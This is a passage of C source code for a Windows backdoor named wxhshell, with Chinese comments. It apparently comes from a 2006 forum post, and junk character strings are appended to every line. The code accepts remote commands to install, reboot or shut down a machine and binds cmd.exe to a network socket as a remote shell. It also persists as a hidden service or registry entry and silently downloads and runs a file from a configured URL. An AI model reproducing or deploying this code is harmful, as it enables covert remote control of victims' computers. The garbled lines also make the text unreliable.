  // 帮助 kz6fU\U  
  case '?': { 5ZH3}B^L$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y{#*;p*I  
    break; +( afO ~9  
  } S+wT}_BQ  
  // 安装 ~%M*@ fm  
  case 'i': { shy[>\w  
    if(Install()) U@n5:d=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z\8s |!  
    else o:3(J}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m}oR*<.  
    break; f/IQ2yT-:D  
    } f5un7,m  
  // 卸载 }YM\IPsPu  
  case 'r': { e<a*@ P,  
    if(Uninstall()) >#l: ]T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S+- $Ih`[  
    else =h|cs{eT\2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zby3.=.e  
    break; CQa8I2VF (  
    } cjO %X  
  // 显示 wxhshell 所在路径 .sM,U  
  case 'p': { x{K"z4xbI  
    char svExeFile[MAX_PATH]; dtfOFag4_  
    strcpy(svExeFile,"\n\r"); IO=$+c  
      strcat(svExeFile,ExeFile); H<<t^,E^.t  
        send(wsh,svExeFile,strlen(svExeFile),0); oz,.gP%  
    break; 6vps`k$,~  
    } 2e-bt@0t  
  // 重启 <%m1+%mA.  
  case 'b': { p9u'nDi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R4JfH  
    if(Boot(REBOOT)) ElDeXLr'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ONDO xXs  
    else { G%>[7]H  
    closesocket(wsh); Wq5}LO)  
    ExitThread(0); /^\E:(RH  
    } <-n^h~,4  
    break; &k)v/  
    } FPF$~ sX  
  // 关机 M<NY`7$^  
  case 'd': { 6<QC|>p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t6mv  
    if(Boot(SHUTDOWN)) pnz:<V"Y(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :FH&#Eq~4  
    else { rWDD$4y  
    closesocket(wsh); =jS$piw.  
    ExitThread(0); aBG^Xhx  
    } *x]*%  
    break; ~x<?Pj  
    } xL i3|^q  
  // 获取shell p8)R#QWz9  
  case 's': { $\/^O94-l  
    CmdShell(wsh); JN`$Fq+  
    closesocket(wsh); HQ7g0:-^a>  
    ExitThread(0); |mHf 7gCX  
    break; l:JVt`A4?  
  } ;fW~Gb?"  
  // 退出 yTK3eK  
  case 'x': { cqJXZ.X C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {I $iD  
    CloseIt(wsh); hwL`9.w  
    break; Z2})n -  
    } [XDV-6KCE.  
  // 离开 ">3t+A  
  case 'q': { ZS(%!+M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +lVA$]d  
    closesocket(wsh); 'xG J;pY  
    WSACleanup(); !5?_)  
    exit(1); _Z9 d.-  
    break; .s,04xW\  
        } _xm<zy{`S  
  } x0ipk}  
  } H&p:  
FJCORa@?_  
  // 提示信息 A s}L=2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1;S?9N_B  
} ' v CMf  
  } & /T}  
m;>G]Sbe  
  return; <Lxp t  
} =SeQ- H#  
!o?&{"#+  
// shell模块句柄 jIrfJ*z  
int CmdShell(SOCKET sock) $':5uU1}  
{ T|D^kL%m!  
STARTUPINFO si; ty"L&$bf  
ZeroMemory(&si,sizeof(si)); Z4As'al  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %cUC~, g_(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jn ztCNaX  
PROCESS_INFORMATION ProcessInfo; 4:a ~Wlp[  
char cmdline[]="cmd"; n;kWAYgg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Ww,vSCV)  
  return 0; M/9[P* VE  
} Tsb}\  
N wNxO  
// 自身启动模式 \7*|u  
int StartFromService(void) UF-'(  
{ ]a&riPh"  
typedef struct phf{b+'#X  
{ '/6f2[%Y"  
  DWORD ExitStatus; &I8DK).M+  
  DWORD PebBaseAddress; Wex2Fd?DO  
  DWORD AffinityMask; ED79a:  
  DWORD BasePriority; U!c+i#:t  
  ULONG UniqueProcessId; -.M J3  
  ULONG InheritedFromUniqueProcessId; oi,KA  
}   PROCESS_BASIC_INFORMATION;  1hi, &h  
/}6y\3h  
PROCNTQSIP NtQueryInformationProcess; wL3RcXW``e  
V?"U)Y@Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f"*4R kG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =P9rOK=  
k \T]*A  
  HANDLE             hProcess; U>.5vK.+  
  PROCESS_BASIC_INFORMATION pbi; wXqwb|2  
iV?8'^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :{Z%dD  
  if(NULL == hInst ) return 0; %r.C9  
|;)_-=L0P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >yn]h4M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yu_ eCq5/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uE(5q!/  
 + @f  
  if (!NtQueryInformationProcess) return 0; _xi &%F/  
j #P4&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OAW_c.)5D  
  if(!hProcess) return 0; ',WJ'g  
c U(z5th  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &K9RV4M5  
u1u;aG  
  CloseHandle(hProcess); !A% vR\  
V( 0Y   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `RE>gX  
if(hProcess==NULL) return 0; G9QvIXRi  
ONcLhwH  
HMODULE hMod; _eBNbO_J  
char procName[255]; JLoE)\Mi  
unsigned long cbNeeded; R[v<mo[s  
L&:A59)1k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0Qvr g+  
DO*6gzW  
  CloseHandle(hProcess); ^ /%Y]d$  
Op~:z<z  
if(strstr(procName,"services")) return 1; // 以服务启动 bDh4p]lm  
C Q iHk  
  return 0; // 注册表启动 UukY9n];]  
} z@\mn  
pxedj  
// 主模块 =+T0[|gc(r  
int StartWxhshell(LPSTR lpCmdLine) ,98 F  
{ o_Y?s+~i[/  
  SOCKET wsl; US9aW)8  
BOOL val=TRUE; t!J>853  
  int port=0; I/A%3i=H  
  struct sockaddr_in door; g5Io=e@s  
!- QB>`7$  
  if(wscfg.ws_autoins) Install(); 0k?]~ f  
/`aPV"$M  
port=atoi(lpCmdLine); t4:/qy  
7zE1>.  
if(port<=0) port=wscfg.ws_port; m zoH$@  
<^{(?*  
  WSADATA data; Nr,I`x\N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GtIAsC03  
)y:))\>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R N@)nc_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `}sFT:1&  
  door.sin_family = AF_INET; *,O3@,+>H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 lG a*f)  
  door.sin_port = htons(port); X_D-K F  
E2cZk6~m{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZK'WKC  
closesocket(wsl); 4s_5>r4  
return 1; ]K>bSK^TX  
} CA&VnO{r  
$/#[,1  
  if(listen(wsl,2) == INVALID_SOCKET) {  ;ud"1wH  
closesocket(wsl); b|kL*{;  
return 1; `uusUw-Gf  
} i-4L{T\K  
  Wxhshell(wsl); 2MYez>D  
  WSACleanup(); lAC "7 Z?F  
j^U"GprA  
return 0; tIod=a)  
Zj ^e8u=T  
} xmC5uT6L3M  
N z=P1&G'  
// 以NT服务方式启动 v<l]K$5J&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AFYdBK]  
{ a#CjGj)  
DWORD   status = 0; Ow5 VBw(  
  DWORD   specificError = 0xfffffff; UMD\n<+cG,  
x 00'wY|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wnXU=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !m'Rp~t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; })uyq_nz  
  serviceStatus.dwWin32ExitCode     = 0; DXO'MZon3  
  serviceStatus.dwServiceSpecificExitCode = 0; ?-`&YfF  
  serviceStatus.dwCheckPoint       = 0; OQ<;w  
  serviceStatus.dwWaitHint       = 0; ze5#6Vzd&  
u` (yT<>H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !lsa5w{  
  if (hServiceStatusHandle==0) return; /FPO'} 6i  
Wk/Q~ o  
status = GetLastError(); -Ks)1w>l  
  if (status!=NO_ERROR) 7o!t/WEEq  
{ I7Abf7>*Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5t_Dt<lIz  
    serviceStatus.dwCheckPoint       = 0; 6iEg]FI  
    serviceStatus.dwWaitHint       = 0; @/$i -?E  
    serviceStatus.dwWin32ExitCode     = status; L %ifl:K  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^4\0, >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e(b$LUV  
    return; .V_5q:tu  
  } Z:x`][vg  
b~YIaD[Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U-,s/VQ?  
  serviceStatus.dwCheckPoint       = 0; Z}>;@c  
  serviceStatus.dwWaitHint       = 0; hV) `e"r\s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N;>s|ET  
} " L,9.b  
q%vel.L]%  
// 处理NT服务事件,比如:启动、停止 }K,3SO(:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N0\<B-8+,>  
{ sP% b? 6  
switch(fdwControl) @"^7ASd%  
{ 4_'BoU4  
case SERVICE_CONTROL_STOP: zq?xY`E  
  serviceStatus.dwWin32ExitCode = 0; Q6 m.yds  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @g" vuaG}  
  serviceStatus.dwCheckPoint   = 0; V joVC$ZX  
  serviceStatus.dwWaitHint     = 0; wPcEvGBN=  
  { `@0AGSzUv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d:_;  
  } d(b~s2\i  
  return; [io|qLr}\  
case SERVICE_CONTROL_PAUSE: Z^_zcH'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N:+d=G`x  
  break; JZ:yPvJ  
case SERVICE_CONTROL_CONTINUE: > XM]UdP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Y9/} b{  
  break; IAe/)  
case SERVICE_CONTROL_INTERROGATE: YGc:84S  
  break; )_4()#3  
}; MtoOIkQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %@TC- xx  
} P6'Se'f8  
w $`w  
// 标准应用程序主函数 ^7=7V0>,:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '^$+G0jv  
{ @^ m0>H  
fd>&RbUp  
// 获取操作系统版本 DrxQ(yo}  
OsIsNt=GetOsVer(); ?gjx7TQ?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v#X#F9C  
vEGI  
  // 从命令行安装 9zIqSjos"  
  if(strpbrk(lpCmdLine,"iI")) Install(); )1 HWD]>4  
WNQ<XB qAw  
  // 下载执行文件 kl9~obX 1  
if(wscfg.ws_downexe) { _./s[{ek  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Un T\6u  
  WinExec(wscfg.ws_filenam,SW_HIDE); r=54@`O!  
} SR?(z  
%&V%=-O_7  
if(!OsIsNt) { S)4p'cUwq  
// 如果时win9x,隐藏进程并且设置为注册表启动 HTvUt*U1  
HideProc(); _)~VKA]""  
StartWxhshell(lpCmdLine); rcY &n^:  
} l~DIV$>,Z  
else _jg tZ  
  if(StartFromService()) $7i[7S4  
  // 以服务方式启动 3Z&!zSK^  
  StartServiceCtrlDispatcher(DispatchTable); D&~%w!  
else ?N!kYTR%}  
  // 普通方式启动 gxAy{ t  
  StartWxhshell(lpCmdLine); "VU/Ucb7  
!H9^j6|  
return 0; WLfDXx 2A  
}
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只看该作者 1 发表于: 2006-10-10
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